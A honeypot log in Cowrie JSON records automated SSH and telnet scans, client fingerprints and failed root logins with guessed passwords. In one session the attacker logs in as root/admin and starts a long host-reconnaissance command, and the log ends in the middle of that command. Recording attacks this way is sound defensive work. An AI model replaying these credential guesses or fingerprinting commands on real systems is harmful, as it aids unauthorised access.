{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:03.148273Z","src_ip":"91.92.40.10","session":"3333950a7f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:04.176751Z","src_ip":"91.92.40.10","session":"3333950a7f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:05.430825Z","src_ip":"91.92.40.10","session":"3333950a7f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52358,"dst_ip":"159.203.135.109","dst_port":23,"session":"86545ce1f08e","protocol":"telnet","message":"New connection: 107.6.151.170:52358 (159.203.135.109:23) [session: 86545ce1f08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:10.800454Z"}
{"eventid":"cowrie.session.closed","duration":0.0042743682861328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:10.804585Z","src_ip":"107.6.151.170","session":"86545ce1f08e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60042,"dst_ip":"159.203.135.109","dst_port":23,"session":"601e5c832d18","protocol":"telnet","message":"New connection: 170.64.224.25:60042 (159.203.135.109:23) [session: 601e5c832d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:43.391418Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6935ac0234cb","protocol":"ssh","message":"New connection: 91.92.40.176:51316 (10.17.0.5:22) [session: 6935ac0234cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:47.755851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:47.799284Z","src_ip":"91.92.40.176","session":"6935ac0234cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:47.912104Z","src_ip":"91.92.40.176","session":"6935ac0234cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:48.162205Z","src_ip":"91.92.40.176","session":"6935ac0234cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:49.273594Z","src_ip":"91.92.40.176","session":"6935ac0234cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":55453,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c9237e7d50","protocol":"ssh","message":"New connection: 178.20.210.208:55453 (159.203.135.109:22) [session: 79c9237e7d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:53.713388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:53.715844Z","src_ip":"178.20.210.208","session":"79c9237e7d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:53.819917Z","src_ip":"178.20.210.208","session":"79c9237e7d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX123","message":"login attempt [root/1QAZ2WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:54.342005Z","src_ip":"178.20.210.208","session":"79c9237e7d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:55.448579Z","src_ip":"178.20.210.208","session":"79c9237e7d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":59258,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e505aea1e02","protocol":"ssh","message":"New connection: 77.237.244.154:59258 (159.203.135.109:22) [session: 7e505aea1e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:56.926107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:56.929718Z","src_ip":"77.237.244.154","session":"7e505aea1e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:57.021497Z","src_ip":"77.237.244.154","session":"7e505aea1e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aave123","message":"login attempt [root/aave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:57.298874Z","src_ip":"77.237.244.154","session":"7e505aea1e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:58.402961Z","src_ip":"77.237.244.154","session":"7e505aea1e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43682,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a083950ff47","protocol":"telnet","message":"New connection: 107.6.151.170:43682 (159.203.135.109:23) [session: 3a083950ff47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:02.546875Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52564,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e3db3c9cdc6","protocol":"ssh","message":"New connection: 194.59.206.2:52564 (159.203.135.109:22) [session: 6e3db3c9cdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:03.374098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:03.378047Z","src_ip":"194.59.206.2","session":"6e3db3c9cdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:03.468175Z","src_ip":"194.59.206.2","session":"6e3db3c9cdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:03.562736Z","src_ip":"194.59.206.2","session":"6e3db3c9cdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37802,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a64f072a6b","protocol":"ssh","message":"New connection: 103.176.20.57:37802 (159.203.135.109:22) [session: f4a64f072a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:27.866697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:27.869500Z","src_ip":"103.176.20.57","session":"f4a64f072a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:28.123301Z","src_ip":"103.176.20.57","session":"f4a64f072a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08101983","message":"login attempt [root/08101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:28.888076Z","src_ip":"103.176.20.57","session":"f4a64f072a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:30.145253Z","src_ip":"103.176.20.57","session":"f4a64f072a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.98237442970276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:36.529140Z","src_ip":"107.6.151.170","session":"3a083950ff47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":42724,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6d8c98c942","protocol":"ssh","message":"New connection: 91.92.40.10:42724 (10.17.0.5:22) [session: 9e6d8c98c942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:46.932336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:47.182992Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:47.185786Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:47.924665Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.630359Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 